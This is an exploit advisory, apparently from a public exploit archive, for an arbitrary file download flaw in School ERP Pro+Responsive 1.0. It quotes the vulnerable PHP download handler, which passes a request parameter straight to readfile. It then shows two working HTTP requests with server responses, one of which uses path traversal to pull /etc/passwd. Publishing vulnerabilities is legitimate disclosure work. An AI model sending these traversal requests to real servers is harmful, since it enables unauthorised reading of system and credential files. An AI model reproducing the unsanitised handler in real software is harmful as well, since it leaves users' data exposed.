School ERP Pro+Responsive 1.0 - Arbitrary File Download

# Exploit Title: School ERP Pro+Responsive 1.0 - Arbitrary File Download
# Dork: N/A
# Date: 2018-10-23
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.arox.in/
# Software Link: https://sourceforge.net/projects/school-management-system-php/files/latest/download
# Software Link: http://erp.arox.in/ http://erp1.arox.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/student_staff/download.php?document=[FILE]
# http://localhost/[PATH]/office_admin/download.php?document=[FILE]
# 
# /[PATH]/student_staff/download.php
# /[PATH]/office_admin/download.php
# ....
# if ( isset($_REQUEST["document"])&&$_REQUEST["document"]!="") {
# $file = $_REQUEST['document'];
# header("Content-type: application/force-download");
# header("Content-Transfer-Encoding: Binary");
# header("Content-length: ".filesize($file));
# header("Content-disposition: attachment; filename=\"".$file."\"");
# readfile($file);
# exit;
# }
# ....

GET /[PATH]/student_staff/download.php?document=download.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 23 Oct 2018 12:30:01 GMT
Server: Apache
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename="download.php"
Content-Length: 337
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/force-download

GET /[PATH]/office_admin/download.php?document=../../../../../etc/passwd HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 23 Oct 2018 12:31:34 GMT
Server: Apache
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename="../../../../../etc/passwd"
Content-Length: 46368
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/force-download